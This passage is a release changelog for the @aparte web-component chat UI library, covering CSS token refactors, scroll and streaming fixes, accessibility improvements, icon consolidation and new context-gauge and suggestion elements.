github-dark— the default — stayed a dark slab inside a light chat, and no option could say otherwise: the plugin’s most visible gap. With a pair, shiki renders both colours per token as CSS variables (--shiki-light/--shiki-dark, its own dual-theme output,defaultColor: false) and the plugin adds one small stylesheet that picks the one the theme attribute asks for. Core learns nothing about shiki: the attribute is core’s public theme contract, the variables are shiki’s.@aparte/plugin-shiki
Patch Changes
-
9c4ef91: Attachments under a sent message render as real tiles — the same thumbnail tiles the composer previews — instead of a bare “PDF” beside an unframed image. The attachment strip and tile rules moved from
composer.cssto the display layer (thumbnail.css), where a recipe shared by two components belongs.If you restyled the strip through
.aparte-attachmentsor.aparte-thumb…selectors nothing changes: the class names are the same, only the sheet that declares them.@aparte/core -
d22a75d:
AparteClient.abort()now stops an in-flightcompact()without disturbing a turn, and a turn without disturbing a compaction.Compaction used to borrow the turn’s abort controller slot, so a summarisation started during a turn left that turn unabortable — Stop reached only the summary while the reply kept streaming and kept being billed. Each has its own controller;
abort()fires both.@aparte/core -
d45da0c: Changing
placeholderon<aparte-composer>now updates an<aparte-composer-input>already on the page.syncPlaceholder()on the input is the method the composer calls; an input with aplaceholderof its own is unaffected.The input read the composer’s placeholder as a fallback when it rendered and never again, and the composer’s attribute callback for it was an empty branch — so a placeholder bound to a translated string went stale on the first language switch after mount.
@aparte/core -
64f679a: The bubble’s copy button copies the reply without its reasoning block.
It joined every segment’s content, so a reply that opened with a
thinkingsegment pasted the model’s deliberation above the answer. The client already keeps that block out of the history it sends back, for the same reason; the two rules for “what the reply is” now agree.@aparte/core -
9c4ef91: An assistant turn that ends with nothing to show — stopped before its first token, or made only of a tool that renders nothing — no longer leaves a name and a timestamp floating in the transcript. The bubble sets
data-emptyon.aparte-messageand the stylesheet hides the row; restyle.aparte-message[data-empty]if you want a “stopped” marker instead.Streaming bubbles are never empty (the waiting dots are their content), and attachments count as content. The element stays in the DOM, so streaming and the action bar still address it by id.
@aparte/core -
213add8: A code block no longer closes on a streamed chunk that merely ends in three backticks — a fence has to start a line.
const s = "```"split by the tokenizer right after the quotes used to close the block mid-code, and the rest of the file streamed as prose. A reply that genuinely ends on ``` with no newline is still handled: the fence is stripped once, at the end of the stream, where it cannot mis-close anything.@aparte/core -
e083712: The 25 built-in glyphs and the 41 icons behind
@aparte/core/iconsare redrawn. Every name, export and size is the same — an icon provider you registered, and any--aparte-icon-sizea container declares, are unaffected.They are core’s own drawings, on one grid (24 units, a 2-unit round-capped stroke,
currentColor) so the two sets keep a single optical weight side by side, and the package carries no notice and credits no icon set. The generated icons reference describes the grid and the naming rather than pointing at any particular set.@aparte/core -
1589baa: Markdown tables in a reply are styled: borders, cell padding, a header row on the surface tone, and a wide table scrolls inside the bubble instead of overflowing it.
The sanitizer had allowlisted
table/th/tdfrom the start and no stylesheet ever drew them, so a GFM table rendered as words with no borders and columns that touched.prose.cssstyles it like the rest of the prose, from existing tokens only.@aparte/core -
e3d0006: Scrolling up while a reply streams now sticks: the transcript stops pulling the reader back to the bottom.
Auto-follow was disarmed by the gesture, but a scroll-to-bottom frame queued just before it still ran — and the bottom it reached re-armed auto-follow, so every attempt to read something above the stream lasted one frame. Queued frames now re-check the intent before scrolling. Reaching the bottom again, or pressing the scroll-to-bottom button, re-arms it as before.
@aparte/core -
2c67b6b:
<aparte-select>’s dropdown panel reads--aparte-select-dropdown-bgin the dark theme too. Its dark rule used to repaint the panel from--aparte-select-bg— the trigger’s background — so a transparent trigger (a pill on a coloured page) made the open list see-through in the dark, with the page’s text showing through the options. The dark override is gone altogether: every colour of the select reads a token the derived layer already resolves per theme. And the trigger’s label follows a list refreshed in place (a consumer writing into.aparte-select-options, as the model selector does): it kept showing a label the list no longer offered.@aparte/core -
16464cd:
<aparte-select>keeps one width — its widest option’s — whatever is selected, like a native<select>; it used to resize to the selected label on every change. The trigger’s label is now a grid of two layers (.aparte-select-label-textand a hidden.aparte-select-label-sizerstack of every option’s label); a stylesheet that targeted.aparte-select-label’s text directly should target.aparte-select-label-text. A host that constrains the control narrower than its widest option still gets an ellipsis.@aparte/core -
8d07938: On WebKit the transcript no longer settles a few pixels short of the bottom — with a scroll-to-bottom button showing — when a streamed reply ends or a branch is swapped at the bottom.
The action bar appearing at the end of a stream and the bottom spacer giving those pixels back happen in one frame, and through that churn WebKit moves
scrollTopbackwards; a branch swap on React flickers the height by ~200px and moves it by as much. Since queued scroll frames re-read the reader’s intent, those browser-made decreases read as “the reader went up” and disarmed the follow mid-landing. A decrease now counts as the reader’s unless three things hold: it is no larger than the scroll height moved since the last scroll event (churn movesscrollTopby at most the height it changed; a reader, a find-in-page jump or a host’sscrollTomove it with the height standing still), it comes within a second of a scroll the viewport asked for, and no scroll gesture touched the transcript in that second — a wheel notch, a touch that moves, a navigation key, or a press in the scrollbar’s gutter. A click or a tap on a control inside the transcript (a branch arrow, copy) is not a scroll gesture.@aparte/core -
f9a6fbd: While a reply streams, the transcript is read-only except for Stop and copy: the branch pickers and the retry/edit actions of every message are disabled, and
navigateBranch()is a no-op. Until now only the streaming message’s own footer was hidden: swapping a branch on an older message re-rendered the active path under the reply being written, and a retry cut that reply off to start another. The viewport carriesdata-busywhile it streams and pushes the state to its bubbles (setTranscriptBusy()); a bubble mounted under a framework’s DOM while the flag is up reads it on connect.A stopped reply now reaches a terminal status on every path, so the flag comes down. Two paths did not settle the message: a stream stopped through the host (
stopTokenStream()/ a wrapper’s stop left the viewport holding the message as streaming — it “kept what was streamed” but never finished it), and a Stop pressed before the first token arrived (while auth or an attachment was still being read). Either one left the transcript read-only for the life of the page.clearAll()clears the flag too.@aparte/core -
f9b1008: Four visual fixes: popovers and the select dropdown cast a visible shadow, the recommended elicitation option shows one focus ring instead of two, the bubble’s action-bar buttons reach the touch-target size on a coarse pointer, and
@aparte/plugin-ask-user’s receipt shows the answer in the strong text colour instead of green. The shadows are--aparte-popover-shadowand--aparte-select-shadow— set them yourself if you had: on cream the old one was imperceptible. The recommended option no longer shows its tinted border under the focus ring — one ring at a time. On a coarse pointer the action-bar buttons grow like the other controls already did. And the receipt’s green was the one hue outside the palette on the whole transcript.@aparte/core,@aparte/plugin-ask-user -
9592bed: On a page with several chats, an
<aparte-composer>that belongs to none — notarget, no chat host with an id above it — logs one warning saying how to attach it. Nothing else changes.Such a composer answers to every chat’s lifecycle events, so one chat’s Stop evicted another’s open question, and the symptom sat nowhere near its cause. A signal at the console, not a guard.
@aparte/core -
d299096: A turn that calls
create_artifactand another tool no longer sends the second tool’s result without the call that declares it — a history an Anthropic-shaped API rejected outright. The turn’stool_callenvelope is now created once, held by reference, and declares every call whosetool_resultfollows it;onHistoryAppendreports the envelope once, when the first call completes, and the calls that complete later in the same turn are already in that same object’stoolCalls.The loop used to guess whether the turn’s envelope was already in the history by scanning it for any of the turn’s call ids. The built-in
create_artifactfast path pushed a fresh envelope of its own, the scan found the artifact’s id in it, concluded “already pushed”, and the next tool’s result went out orphaned. A reference cannot be guessed wrong.@aparte/engine -
461a692: New
<aparte-context>: a gauge of the model’s context window. It reads each turn’s reported usage and the window the current model declares (or awindowattribute), setsdata-leveltook/warn/dangerat thewarn/dangerfractions (75 % / 90 %), firesaparte-context-thresholdwhen the level changes, and withauto-compactdispatchesaparte-compacton reaching danger. New in@aparte/engine:createCompactionSelector({ contextWindow, systemPrompt }), the budget-awarecompactionSelectorforAparteClient— the newest turns that fit stay verbatim, the rest is summarised. New locale keycontextLabel, translated in@aparte/locale-fr.The first product built on the library showed a context badge that turned red at 90 % — and then nothing happened, because
compact()existed,compactionSelectorexisted, the engine’s compactor existed, and no piece joined them. This is the join: the gauge watches, the selector decides, and the two read the same window.@aparte/locale-fr -
e413352: New
<aparte-suggestions>: a row of prompt starters. Give itsuggestions='["…", {"label": "…", "prompt": "…"}]'(or set thesuggestionsproperty), and a click fills the composer and submits it;mode="fill"only fills and focuses,empty-onlyhides the row after the first send,targetnames the chat when the element sits outside its composer. It fires a cancelableaparte-suggestionfirst. New locale keysuggestionsLabel(the group’s accessible name), translated in@aparte/locale-fr.Every chat product opens on three or four of these, and the example app hand-rolled them — four buttons, a click handler, a CSS recipe of its own. The click goes through the composer’s
submit()on purpose: that is where every gate lives (disabled, streaming,requireModelSelection), and a chip that bypassed them sent a request with an empty model id while the composer was visibly greyed out. The chips wear theaparte-btnrecipe, so a theme reaches them with no knob of their own.@aparte/locale-fr
Version-only bumps (no changes of their own): @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-transformers, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-streaming-markdown, @aparte/react, @aparte/svelte, @aparte/vue.
0.13.1
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
73cbbdb: Fixed: the delete button’s cross was invisible while you hovered it, in both themes.
--aparte-conv-delete-bg-hover: var(--aparte-error)has been declared all along and never applied:.aparte-btn:hover:not(:disabled)weighs 0,3,0 and.aparte-conv-item__delete:hoveronly 0,2,0, so the recipe won the background. The recipe’s hover rule sets no colour, though, so the component’scolorDID apply — the ink meant for a solid red fill, painted on a neutral surface. Measured in a browser: 1.17:1 on the light theme, 1.20:1 on the dark.Feeding the recipe its own token instead of out-specifying it is the rule the neighbouring sheets already follow. The red applies now, and the pair measures 3.70:1 and 4.84:1 — clear of the 3:1 a graphical object needs.
.aparte-conv-item__archivehad the same silent defect: its declared surface never applied either.@aparte/core -
2391d6d: The elicitation panel gives the focus back when it closes.
It took focus on open and never returned it, so answering a question or approving a tool call dropped a keyboard user at the top of the document — they had to tab through the whole page to reach the composer again. WCAG 2.2 SC 2.4.3, level A, on the human-in-the-loop flow the library puts forward, and what the ARIA Authoring Practices Guide requires of every dialogue-shaped pattern.
No restoration existed anywhere in core:
previousActive,restoreFocus,returnFocusanddocument.activeElementtogether returned one hit acrosspackages/core/src, inaparte-select.ts, for something else. The element that had the focus is now recorded once — before either branch opens a panel — and refocused from the singleclose()that ends both.It does not pull the focus back if the reader has moved on. A request can settle late (an abort, a model answering while they clicked elsewhere), and yanking them back would be the same theft in the other direction; the check reads
document.activeElementbeforehidePanelremoves it, because afterwards there is no way to tell.@aparte/core -
3c99726: Auto-follow no longer switches itself off because the content grew.
_handleScrollassigned_isAutoScrollEnabled = _isAtBottom()on every scroll event, and_isAtBottom()answers “no” for two unrelated reasons: the reader moved up, or the content grew under them. The second disarmed the follow exactly when it was needed — a rebuild settles its height in stages, one stage fires a scroll event while the distance is briefly large, and the follow meant to keep the reader at the bottom had already switched off.They are told apart by POSITION now, which is what the note in that handler asked for and what an event counter could not do: growth does not move
scrollTop, a reader going up does. A decrease disarms, the bottom re-arms, everything else leaves the flag alone.Five tests, with the geometry stubbed rather than laid out, because the case that matters is a swap between branches of different heights — including the shorter one, where the engine clamps
scrollTopand the decrease is not a gesture at all.@aparte/core -
655cdb1: A resize now re-derives the scroll-to-bottom button, so it stops getting stuck visible after a branch swap.
“Is anything below the fold” is a pure function of the geometry the viewport’s
ResizeObserverexists to watch, and only the MUTATION path re-derived it — the resize path recalculated the spacer and left the button showing whatever the last mutation happened to measure. A branch swap rebuilds the transcript and React’s height flickers through it (1730 → 1934 → 1730, measured); the settle back down is a resize, not a mutation, so a button evaluated at 1934 stayed wrong, and a swap fires no scroll event to correct it.Stated plainly: this closes a gap that is visible by reading, and it is covered by a test that goes red without it. It is not proven to be the cause of the intermittent
bubble-actionsfailure on react-webkit — that one has not been reproduced locally (8/8 green), and the CI evidence (the button held visible across 43 polls, five seconds after a swap) is consistent with this mechanism without establishing it.@aparte/core -
73cbbdb: Fixed: six elements overflowed their container by their own padding on a page with no
box-sizingreset.width: 100%next to apaddingis content-box arithmetic unless something says otherwise, and core is light DOM — a host that never wrote* { box-sizing: border-box }is not a broken host. Measured in a frame without a reset: a conversation row came out its parent’s width plus both paddings and clipped its last button by the right one, which is how it was reported..aparte-menu__item,.aparte-message,.aparte-editor,.aparte-tag,.aparte-select-searchand.aparte-accordion__headernow saybox-sizing: border-boxthemselves — per element, never a*selector, the same way the eight that already had it are written.@aparte/core -
f8d4fae: A custom tool renderer keeps its styles when a stored conversation is re-rendered.
The injection lived inline in two live paths —
AparteClient’stool-starthandler and the stream adapter’s — and nowhere on the path that draws history. So a renderer registered withregisterToolRenderercame back styled while its tool ran and bare after a reload: the markup returned, becausetoolCallRendererlooks the renderer up and delegates to it, but nothing replaystool-startfor a persisted message, so the CSS never arrived. Reported by a consumer who was re-injecting the stylesheet themselves at startup — the shape of a defect in this library, not a concern of theirs.One owner now, called from the render path as well as the two live ones, so “the renderer drew” and “its rules are on the page” cannot come apart again. Keyed by tool name, so it is still injected once however many times the segment is drawn.
@aparte/core
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-transformers, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr.
0.13.0
Every @aparte/* package ships at this version (they are released in lockstep).
Minor Changes
-
e50ca32: A panel says whether the composer’s button has an act, and a single choice settles on the click.
showPanel({ mode })takes a third value,'none': this panel has nothing for the send button, so it is not drawn. Flip to'submit'withsetPanelSubmitEnabledthe moment the panel grows an act. The type is exported asAparteComposerPanelMode.Why it was missing. The composer’s panel mode was ONE fixed policy — hide the text input and the attachment picker, keep the strip and the toolbar, and always keep the send button. A panel could supply DOM, two callbacks and an enabled flag; it could not say “my options settle themselves”. So the approval panel, whose options have settled on the first click since they became buttons, sat next to a permanently disabled button offering an act that did not exist. Ratified decision #8, one control further along.
What changes for a user. A question asked on its own — one choice, or one yes/no — is now a column of buttons, and the click is the answer. One gesture where there were two, and no submit beside options that already are the answer.
This is the accessible reading, not a trade against it. WCAG SC 3.2.2 (“On Input”) and its F36 failure forbid submitting automatically when an input is given a value: a radio that fires on change is exactly that, which is why these options are buttons — an explicit activation is what F36 says to rely on instead. Auto-advancing radios is separately a documented barrier, because it removes the chance to review a selection; a command button has nothing to review. The group’s role moves from
radiogrouptogroupto match, and keeps its accessible name.What deliberately does not change, each for a measured reason:
- A form of several questions. Settling on its last question would be F36 word for word, and auto-advancing between them is the barrier above. Chips, advance and submit are untouched.
- A multi-select and a free-text question. Both accumulate, so both need a commit.
- A choice carrying a
default. A button cannot be pre-selected, and a requester that supplied one asked for a pre-filled answer it can review before sending — MCP’s “clients SHOULD pre-populate”. That shape keeps its radios and its submit. - “Other…”, which is not an answer but a request to write one: it opens the field and hands the button back its meaning.
A consumer who wants pick-then-submit for a single choice registers an
AparteElicitationFieldRendererforenum; a field renderer never settles.buildElicitationPanelgainsonSettle, the contractbuildApprovalPanelalready had.@aparte/core -
ca49417: The five accents-as-text derive from their own fill; ten hexes become one number per theme.
--aparte-primary-inkand its four siblings were hand-picked hexes — five in the light block, five in the dark — each measured against THIS repo’s--aparte-bg. They paint every ghost, outline and soft button’s label, links, the selected tab, the tool-call status and the form error marker, so a consumer’s palette got accent colours computed for someone else’s page. Same defect as the solid ink, one layer over.Each is now the accent with its own hue and chroma kept, and its lightness forced to
--aparte-ink-l— the one value that has to flip with the theme (0.40light,0.85dark). The five derivations live on the anchored layer, so an<aparte-chat>that sets its own--aparte-primarygets a matching ink rather than the root’s.Why forced lightness and not a mix. Pulling the accent toward
--aparte-textreads well and was measured first: it holds on our palette and fails at 3.41 on a brand primary that is already near the background, because such an accent has to move PAST the text colour, not toward it. Setting the lightness outright has no such blind spot.Measured across 80 combinations — 5 intents x 4 palettes (ours light, ours dark, two invented) x 4 grounds (bg, surface-1/2/3) — the worst case is 4.80. On our own palette the inks land between 7.12 and 12.24, against 4.60–4.63 for the hexes they replace, and each accent keeps its character on screen: brass reads brass, danger reads red.
@aparte/core -
82b842e: Ready-made button classes. Put
aparte-btnon a<button>and it looks like every other control in the library.<button class="aparte-btn aparte-btn--primary my-send">Send</button><button class="aparte-btn aparte-btn--icon" aria-label="Copy">…</button>Your own class stays on the element — for events, and so a consumer can target that one button. It just stops carrying the look.
Nothing existing changed. This is a new sheet and twelve new tokens; no rule was touched, so no pixel moved. Adopting it in the library’s own 27 controls is the next step, not this one.
Measured, not invented
The 33 control rules already in this library were read, and the base is what they agree on: flex-centred, transparent, borderless,
cursor: pointer,flex-shrink: 0. What they did not agree on is why the file exists —transitionappeared in 13 of them with 12 different values,border-radiusin 12 with 11. Nobody decided; everyone filled in.The variants come from the same reading, and the set is short on purpose:
class what it is controls already like this aparte-btnghost — transparent, muted 33 aparte-btn--surfaceraised: has its own ground and border 3 aparte-btn--primaryfilled with the accent 2 aparte-btn--successtinted, not filled 2 aparte-btn--dangertinted, not filled 1 There is no
--secondary: nothing in this library is secondary, and a variant nobody wears is a contract maintained for nobody.--successand--dangertint rather than fill because that is what the existing controls do.Shape and size:
--icon(square, sized by the modifier) and--sm/--lgaround a default--md— 20px, 28px, 36px, the three sizes this library already uses.:disabledlives here once. It was six rules saying the same two declarations.Verified in a browser
Every variant rendered and its computed style read: the accent fill resolves to the brass
rgb(176,125,51), the icon sizes to exactly 28/20/36px, disabled to opacity 0.5 andnot-allowed. And a single<aparte-chat>at--aparte-font-scale: 1.25gives a 29px button against the default’s 22px — the recipe follows the masters, per instance.@aparte/core -
7713818: The masters now reach the component tier, which is what makes them masters.
--aparte-space-unitmoved the scale and stopped there: 28 component tokens were literals whose values already WERE steps —--aparte-message-gapwas12px, which isspace-6— so a chat at--aparte-space-unit: 3pxgrew its gutters and kept its message padding at 16px. It scaled crooked. They derive now.Proven in a browser, side by side: at
--aparte-space-unit: 3px,--aparte-radius-unit: 4px,--aparte-font-scale: 1.25on ONE<aparte-chat>, its message padding goes 16/12px → 24/18px, its viewport padding 16 → 24px, its option radius 8 → 16px and its content text 15 → 18.75px, while the sibling chat at the defaults does not move.And measured the other way: of 317 pre-existing tokens resolved on a real property in both themes, not one changes value. This is a pure refactor.
The line, because there is one
The spacing scale governs gutters, padding and margin. The radius scale governs corners. The type scale governs text. None of them governs a stroke width or a control’s size.
--aparte-thinking-rail-widthstays2pxbecause loosening spacing must not thicken a rule, and--aparte-avatar-sizestays32pxbecause tightening it must not shrink an avatar. Both verified to stay put under a moved master.Eight text sizes were px and are rem now (
--aparte-content-font-size,--aparte-input-font-size,--aparte-avatar-font-size,--aparte-name-font-size,--aparte-timestamp-font-size,--aparte-branch-picker-label-size,--aparte-input-editor-font-size,--aparte-status-font-size) — identical at a 16px root, and following the reader’s browser setting elsewhere, like the rest of the typography.@aparte/core -
466b849: The rest of the stylesheet joins the token system — and the artifact panel starts working in dark mode.
The previous pass tokenised spacing, radius, hairlines and motion. It left everything else, which turned out to be 101 declarations writing a raw value on a property that already had a family of tokens. 75 of them are gone.
Weights and type. 11 raw
font-weights (500/600/700) where--aparte-font-weight-*existed — the file’s own comment claimed “no raw weights”. 22font-sizes, all in the artifact and tool components, which had never joined the type scale at all: nine values between0.7remand0.92rem, none of them a step. Each moves to its nearest step, and the largest move is 0.48px. Fourline-heights land on a new--aparte-line-height-snug(one of them was1.35, so it moves 0.8px).A second owner for “the code font”. Two rules carried their own monospace stack (
'JetBrains Mono', 'Fira Code', …) instead of--aparte-code-font-family, so the artifact’s code pane rendered in a different font from every other code block.The error panel was unreadable in dark mode.
.aparte-art-file__error*hardcoded#b91c1cand#7f1d1d— dark reds — on a panel that goes dark with the theme, while--aparte-error-title/-text/-bg/-borderexisted and flip correctly. They are used now.Paper is named, not hardcoded. A file preview is a document shown inside the chat, so it stays light whatever the theme is — an intent that was already written in a comment beside a literal
#fff.--aparte-art-paper-bg|text|row-alt|head-bg|head-text|borderexpress it and are deliberately absent from the dark block. The file-type tiles keep their brand gradients, now as--aparte-art-file-icon-bg[-pdf|-docx].The prose family was half-tokenised: sizes and weights named, margins written out. Eight tokens complete it (
--aparte-prose-h1..h4-margin,-blockquote-margin,-blockquote-indent,-hr-margin,-code-padding), inemon purpose — the one place where relative beats the px scale, because a heading’s margin should follow its own size.select.csswas the only sheet spacing inrem(0.5rem,0.75rem,0.25rem) while the rest of core used the px scale. Nine declarations now use the scale; identical at a 16px root.Two things this pass caught in its own work. Routing a fixed-background tile to
--aparte-text-inversewould have put near-black lettering on a dark green tile in dark mode, because “inverse” follows the theme and that tile does not — it has--aparte-art-file-icon-colorinstead. And--aparte-select-radiusended up with two different fallbacks, one per reference, which is a third way to own a value twice; the guard now refuses that too, alongside the fallback-on-a-declared-token and declared-twice rules. All three are proven by sabotage.Still raw, on purpose
opacity. Ten of its uses are0(show/hide), which is not a token. The rest are seven disabled states carrying five different values — 0.3, 0.45, 0.5, 0.5, 0.55, 0.6, 0.6. That is real drift, but collapsing it is visible (a disabled branch arrow at 0.3 nearly doubles in weight at 0.5), so it stays a design decision rather than a sweep.margin: 0 auto, a-1pxcaret nudge and onefont-size: 1emstay literal: they are geometry and relative sizing, not design values.@aparte/core -
96c23c3: The stylesheet becomes a token system: one owner per value, and three masters that actually move the whole scale.
The scale now derives.
--aparte-space-unit,--aparte-radius-unitand--aparte-font-scaleare new, and every step is computed from one of them (--aparte-space-4iscalc(var(--aparte-space-unit) * 4)). Before, each step was a literal, so there was no single value to move. Measured after the change: of 265 pre-existing tokens, resolved on a real property in a browser, in both themes, exactly one resolves differently — the deliberate rename below. The rest land on the same pixel.Type is in
rem. The font-size scale was px, so it ignored the reader’s browser font size — the one accessibility setting a chat has to honour. At the default 16px root nothing changes; at any other setting the chat now scales with the page.--aparte-font-scalemultiplies the whole ramp for an app that wants it smaller or larger without restating six values.One owner per value. 471
var(--x, fallback)fallbacks were removed, of 521. A fallback only applies when the token is undeclared, andsrc/index.tsimports every stylesheet core ships — so those fallbacks never applied. They only drifted: in the theme sheet alone, 155 of them contradicted the declared value,--aparte-bordercarrying eleven different fallbacks and--aparte-primaryfalling back to an indigo the palette had left. The worst were nested insideselect.css, where dark literals (#1e293b,#334155) sat on the light path. The 18 tokens core never declares keep their fallback: there the fallback IS the owner, which is the “unset by default” knob.Motion is tokenised.
--aparte-duration-fast|base|slow|slower|spin|pulse,--aparte-easeand--aparte-slide-distance. 48 hardcoded durations across 27 rules read them now.prefers-reduced-motionoverrides the tokens rather than sweeping selectors, which closes a real hole: two hand-written patches existed because the old sweep matched only DESCENDANTS of core’s elements, never the elements themselves.Windows high contrast. In
forced-colorsmode the UA dropsbox-shadow, so the two focus indicators built on--aparte-focus-ring, and the error ring on an avatar, did not change colour — they vanished. They are restated as outlines.New tokens:
--aparte-z-raised,--aparte-z-dropdown,--aparte-z-floating(a host can now lift its own modal over the scroll button),--aparte-focus-outline-offset,--aparte-avatar-error-ring,--aparte-select-shadow, and twelve component sizes that were magic numbers in a rule.Breaking for themes
before after --aparte-select-min-width(120px, styled.aparte-model-select)--aparte-model-select-min-width--aparte-select-min-widthnow means <aparte-select>, 200pxThe name pointed at the wrong widget, next to a
<aparte-select>it did not control.Visible changes, on purpose
- The
<aparte-select>focus ring follows the theme. It was a second, diverged implementation hardcoded to Tailwind bluergba(59,130,246,.2); it now uses--aparte-focus-ringlike every other focus ring, so it is brass in the default theme instead of blue. - The select dropdown has a shadow in dark mode. Its shadow lived as a fallback,
so it had no dark value at all, and
rgba(0,0,0,.1)over a dark surface is no shadow. - Six off-scale values moved by 1px to land on the spacing scale (a 7px gap to 8px, a 3px padding to 4px, and so on).
- The select spinner turns at 0.7s instead of 0.6s, joining the one rotation speed
the sheet already named.
@aparte/core
- The
-
3889d8f: One value for “this control is disabled”:
--aparte-disabled-opacity, default0.5.Seven disabled states carried five different opacities —
0.3,0.45,0.5,0.5,0.55,0.6,0.6— and not one of them had a comment saying why, so there was nothing to preserve in keeping them apart. They all read the token now.Deliberately ONE knob rather than Material 3’s
content/containerpair: that split exists to tint a container’s background separately from its text, and every case here is a whole control fading. And not Bootstrap’s per-component variable (--bs-btn-disabled-opacity) either — a variable per family is the drift this removes, with names on it.Visible
before after .aparte-branch-prev|next:disabled0.3 0.5 .aparte-editor[contenteditable="false"]0.6 0.5 .aparte-ci-editor[aria-disabled="true"]0.6 0.5 aparte-composer[data-model-gated]0.55 0.5 .aparte-send-button:disabled0.45 0.5 The branch arrows are the one real change: at
0.3they were the faintest disabled thing in the library, and they now match everything else.Untouched, because they are not the same thing: 21
opacity: 0|1(that is show/hide, not a design value) and 8 decorative fades on states that are not disabled — a muted label, a hovered icon, an archived conversation.Still open, and separate
aparte-composer[data-model-gated]puts the opacity on a CONTAINER, and core renders into the light DOM — so it also fades whatever the consumer slotted intoabove-composerand the toolbar. That is precisely why Carbon, Ant Design and Fluent use dedicated disabled colours rather than opacity. Whether a gated composer should fade at all, or change colour, is a design question this token does not settle.@aparte/core -
13ec8ca: Every element now carries its own documentation, and the docs site is generated from it.
package.jsonpointscustomElementsatdist/custom-elements.jsonandfilesshipsdist, so this file is what feeds a consumer’s editor autocomplete — not only apartejs.dev. It was thin, wrong in five places, and in one package it did not exist at all.The manifest, measured across core’s 18 elements
before after descriptions under 200 characters 10 / 18 0 / 18 elements declaring their CSS variables 0 / 18 17 / 18 declared slots 1 0 elements carrying a worked example 18 / 18 18 / 18 The CSS variables are the substantial half. 263 exist and not one was attached to the element it styles, so they were reachable only through a single flat 263-row reference — present and unfindable, which is the failure this repo keeps rediscovering. 177 are now declared on their own element, with the default the stylesheet actually sets. The eighteenth, the composer toolbar, correctly declares none: it is styled entirely by global spacing tokens and has no knob of its own.
The slot count going to zero is the fix, not a regression. Core has no shadow DOM — no
attachShadow, no<slot>element anywhere — so it has no slots. A@slotin a manifest declares a real slot NAME a consumer can write and tooling will offer; one had shipped for apanelregion that is a plain child stampeddata-aparte-panel, so an editor would have completed a name that does nothing. Ratified decision #4: a name a context contradicts is a name that will lie. What an element accepts as children, and where those children land, is now prose.Five published claims were false, and are corrected rather than softened
<aparte-chat-viewport>’sframework-managedsaid it “relocates none of its children”. It re-appends core’s own scroll-to-bottom button whenever that stops being last, and that path runs in framework-managed mode only. The guarantee is about the nodes the FRAMEWORK renders.<aparte-chat>described its composition test as looking for a viewport CHILD. It is a descendant query, so a viewport nested inside a wrapper of your own counts — and the difference decides whether your markup survives or is overwritten by the default composition. Only the centering CSS is direct-child, and only that sentence now says so.<aparte-chat>said “a framework wrapper setsframework-managed”. Only Angular’s does: its component selector ISaparte-chat, while React, Vue and Svelte render a[data-aparte-chat]div and never create the element.--aparte-viewport-paddingpromised that a narrow container reduces it. That rule targets a wrapper the framework-managed path never builds — and it cannot be repaired by adding the host, becausecontainer-typeis declared on the viewport itself and a container query never matches its own container.<aparte-composer>’s--aparte-message-max-widthsaid overriding it “moves both”. Custom properties inherit downward and.aparte-messageis a sibling subtree, so set on the composer it moves only the composer.
Each was found by an adversarial pass that was told to refute, not to confirm.
@aparte/plugin-ask-userships a manifest for the first timeIt defines a custom element with
customElements.defineand shipped nothing machine-readable about it: nocustomElementsfield, noanalyzestep, no manifest — while its sibling@aparte/plugin-model-selectorhas had all three since it shipped. So no editor completed<aparte-ask-user>’s surface, and no page could be generated from it. It has one now.The analyzer plugin that lifts
@exampleblocks into a manifest lived inline in core’s config, so neither plugin element had an example in its own manifest. It is now shared by all three configs, and all three report every element carrying one.Why minor rather than patch
Nothing’s runtime behaviour changed in this entry, but the manifest is a PUBLISHED description of the API: a declared slot disappears, 177 CSS custom properties appear, and a package gains a
customElementspointer where it had none. Tooling reads all of that. Calling metadata that consumers’ editors consume a patch would understate it.@aparte/core,@aparte/plugin-ask-user -
14a55b0: New entry point:
@aparte/core/icons, with 41 glyphs core itself never draws.import { searchIcon, trashIcon } from "@aparte/core/icons";button.innerHTML = searchIcon;They cover the vocabulary around a chat rather than inside one — search, filter, folder, code, trash, settings, user, bot, database, globe, key, mic, eye, clock, history, star, share, sun/moon, and the arrows and chevrons.
A separate entry point, not an addition to the built-in set, and the reason is mechanical:
getIcon(name)readsAPARTE_DEFAULT_ICON_FALLBACKSby a computed key, so a bundler cannot tell which entries a build reaches and keeps the object whole. Anything added there ships to everyone, used or not. These are individual exports instead — import three, pay for three, and nothing at all if you never open the module. Measured on the built output:@aparte/coregrows 554 bytes (a chunk boundary) and contains none of them;@aparte/core/iconsis 21.6 kB and shares the built-in glyph chunk, so a consumer of both never pays for a drawing twice.Every glyph carries
class="aparte-icon", so--aparte-icon-sizesizes it wherever it lands. Shapes and names follow Lucide, so swapping in the real thing changes the import and nothing else; nothing is imported from it.The full set is on the generated Icons reference page, each glyph shown at its export name.
@aparte/core -
3e2afee: Every glyph the library draws now lives in one place,
src/icons/glyphs.ts, and each is an individual export.Scattering them had not merely spread the source around — it had let them DRIFT. There were three different ✕ (a filled one on a 12 grid, a stroked one at 2.5, and
close), two different chevrons, andpaperclipandscrollDowneach existed twice, byte for byte, inside a component that could have asked for them. Three stroke widths, three grids.Four names are new, so a consumer’s icon pack can now replace them:
info,archive,unarchive,download. The bubble’s info glyph in particular was inline precisely so that it needed no key, which meant nobody could change it.A glyph no longer carries its own size — that is what kept the same drawing from being shared.
--aparte-icon-sizeis the one knob and it inherits, so a container declares it and every glyph below follows;.aparte-btn > svgand the other rules that already expressed size in CSS still win and are untouched. Measured in a browser: no icon changes size.Fixed: core’s
loadingicon did not spin. It carriedaparte-icon-spinand nothing declared it.@aparte/core’s JS bundle drops 2.1 kB.@aparte/core -
53d99d8:
<aparte-icon>— the icon set, reachable from markup.Core ships 25 glyphs and sells
setIconProvideras the lever that swaps them, and the only door in wasgetIcon(name): JavaScript. So a consumer writing plain HTML could not place one, and the provider they registered could not reach a single icon in their own templates.<aparte-composer-action>’s own documentation tells you to put an<svg>inside it, which is that gap written down as an instruction.It is why every example on the CSS-classes reference carried 265 characters of path data to demonstrate a 60-character class — there was no shorter way to say “an icon goes here” that actually drew one. Those examples now read
